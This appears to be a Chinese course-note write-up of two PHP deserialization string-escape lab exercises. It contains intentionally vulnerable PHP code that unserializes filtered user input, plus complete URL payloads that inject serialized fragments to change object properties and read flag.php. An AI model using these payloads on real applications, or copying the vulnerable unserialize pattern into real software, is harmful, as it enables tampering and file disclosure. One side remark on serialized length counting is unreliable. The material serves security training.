WEB渗透—PHP反序列化(八)

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十五、字符串逃逸例题-增多

1.实例代码

目标:判断是否pass=='escaping'

<?php
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';                  //pass默认值为'daydream'function __construct($user){$this->user=$user;}
}
$param=$_GET['param'];                     //$_GET[‘param’]获取值给$param
$param=serialize(new test($param));        //并放在实例化test里作为参数,实例化触发__construct赋值给user
$profile=unserialize(filter($param));      //对$param值进行安全性检查,filter把”flag”,”php”替换为”hack”,然后在反序列化
if ($profile->pass=='escaping'){           //判断pass是否为'escaping'echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

        1)字符串过滤后减少还是增多

        2)构造出关键成员属性序列化字符串

        3)增多则判断一次吐出多少个字符串

        4)构造payload并提交

构造关键成员属性序列化字符:

<?php
class test{var $user="123";         //任意字符var $pass='escaping';
}
echo serialize(new test());
?>

O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"escaping";}

php被替换成hack,字符串增多,会吐出字符串变成结构代码,一个php吐出1个字符串;

flag被替换成hack,字符串不变,无法吐出字符串变成结构代码

";s:4:"pass";s:8:"escaping";}

$user可控,我们通过param参数进行传参,我们需要将$pass及其参数吐出,同时我们需要补全前面$user的序列化结构,所以我们需要吐出29个字符

构造payload:

URL?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

十六、字符串逃逸例题-减少

1.实例代码

目标:判断vip是否为

<?php
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hk",$name);return $name;
}
class test{var $user;var $pass;var $vip = false ;                     //vip默认值为falsefunction __construct($user,$pass){$this->user=$user;$this->pass=$pass;}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));      //对$parm值'user'进行安全性检查,filter把'flag','php'替换为'hk',然后在反序列化
if ($profile->vip){                        //判断vip值是否为真echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

        1)字符串过滤后减少还是增多

        2)构造出关键成员属性序列化字符串

        3)减少则判断吃掉的内容,并计算长度

        4)构造pyload并提交

构造关键成员属性序列化字符:

<?php
class test{var $user = '123';          //任意字符var $pass = '123';          //任意字符var $vip = true;
}
echo serialize(new test());
?>

O:4:"test":3:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

php被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个php吃掉1个字符串;

flag被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个flag吃掉2个字符串

";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

$user和$pass可控,我们通过user和pass参数进行传参,我们需要将$pass及其参数吃掉,只保留参数内容以及结构 " 符号,同时我们需要补全前面$user的序列化结构,所以我们需要吃掉19个字符(flag每次吃掉2个字符,吃19个字符最少要吃10次,所以我们会多吃1位,在后面字符位置补)

在PHP中,当进行序列化时,字符串的长度标识小于两位时会被算作两位的原因是为了确保序列化后的数据能够正确地被反序列化。在PHP的序列化中,字符串的长度使用一个表示字符数的整数来进行标识。

构造payload:

URL?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/295381.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C语言】打印内存数据

C语言&#xff0c;用函数封装&#xff1a;16进制打印unsigned char *p指向的内存&#xff0c;长度为int l。16个字节&#xff0c;换一次行。16个字节用一个字符串缓存&#xff0c;一次打印。 以下是一个使用函数封装的C语言代码&#xff0c;用于以16进制格式打印unsigned char …

Tomcat远程调试

windows环境 写一个 startup-debug.bat&#xff0c;指定tomcat的根目录&#xff0c;端口自己定义 rem *******设置Tomcat目录*******-- set CATALINE_HOMED:\asd\A8-2\tomcat d: rem 8787为可用端口,为远程调试监听端口-- cd %CATALINE_HOME%/bin set JPDA_ADDRESS8787 set J…

单片机原理及应用:流水灯的点亮

流水灯是一种简单的单片机控制电路&#xff0c;由许多LED组成&#xff0c;电路工作时LED会按顺序点亮&#xff0c;类似于流水的效果。 下面是运行在keil上的代码&#xff0c;分别使用了数组&#xff0c;移位符和库函数来表示。 //数组法 #include <reg52.h> //头文…

跨平台应用程序开发软件,携RAD Studio 12新版上线

RAD Studio 是一款专为程序员而准备的跨平台应用程序开发软件&#xff0c;内置Delphi和CBuilder这两种开发工具&#xff0c;另外还提供了新的C功能&#xff0c;扩展了对ExtJS的RAD服务器支持&#xff0c;增强了对vcL的高dpi支持&#xff0c;提高了firemonk (FMX)的质量等等&…

今日港股期货(港股期货今日交易动向)

港股期货收涨0.6% 首次突破31000点 今日港股期货大涨&#xff0c;形势一时看好。其中&#xff0c;恒生指数期货一度突破31000点关口&#xff0c;创出历史新高。分析人士表示&#xff0c;市场情绪积极&#xff0c;投资者对于全球经济复苏前景和中国经济增长的预期不断提高&…

异方差 的 BP检验 方法及原理详解

异方差 的 BP检验详解            文章目录 1. `BP`检验的步骤2. 场景示例步骤 ①步骤 ②BP检验,也称为Breusch-Pagan检验,是一种用于检验线性回归模型中异方差性(即误差项方差不恒定)的统计方法。该方法由Trevor S. Breusch和Adrian R. Pagan在1980年提出。 1.…

【已解决】解决Springboot项目访问本地图片等静态资源无法访问的问题

今天在开发一个招聘系统的时候&#xff0c;有投递简历功能&#xff0c;有投递就会有随之而来的查看简历对吧&#xff0c;我投递过的简历&#xff0c;另存为一个文件夹&#xff0c;就是说本地磁盘(或者服务器)有一个专门存放投递过的简历的文件夹&#xff0c;用于存放PDF&#x…

2009-2022年31省细分产品出口数据/按hs码分的22类细分产品的出口数据

2009-2022年31省细分产品出口数据/按hs码分的22类细分产品的出口数据 1、时间&#xff1a;2009-2022年 2、指标&#xff1a;时间、流向名称、商品编码、商品名称、伙伴名称、主题编码、方式名称、金额&#xff08;美元&#xff09; 3、来源&#xff1a;海关贸易统计数据/海关…

dubbo线程池为什么耗尽

文章概述 大家可能都遇到过DUBBO线程池打满这个问题&#xff0c;报错如下&#xff0c;本文我们就一起分析DUBBO线程池打满这个问题。 cause: org.apache.dubbo.remoting.RemotingException: Server side(10.0.0.100,20881) thread pool is exhausted, detail msg:Thread pool …

大数运算·字符串相加·阶乘

大数&#xff0c;就是C/C中利用基本类型所不能存储的数字&#xff0c;少则数十位&#xff0c;大则几万位&#xff0c;如何存储和计算大数就是本文的内容。 在C和C中&#xff0c;没有存储大数的数据结构&#xff0c;就算 unsigned long long也只能表示19位的数字  如果我们用d…

【JAVA面试题】什么是引用传递?什么是值传递?

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a; JAVA ⛳️ 功不唐捐&#xff0c;玉汝于成 前言 博客的正文部分可以详细介绍Java中参数传递的机制&#xff0c;强调Java是按值传递的&#xff0c;并解释了基本数据类型和对象引用在这种传…

代码随想录算法训练营第60天|84.柱状图中最大的矩形

JAVA代码编写 84. 柱状图中最大的矩形 给定 n 个非负整数&#xff0c;用来表示柱状图中各个柱子的高度。每个柱子彼此相邻&#xff0c;且宽度为 1 。 求在该柱状图中&#xff0c;能够勾勒出来的矩形的最大面积。 示例 1: 输入&#xff1a;heights [2,1,5,6,2,3] 输出&…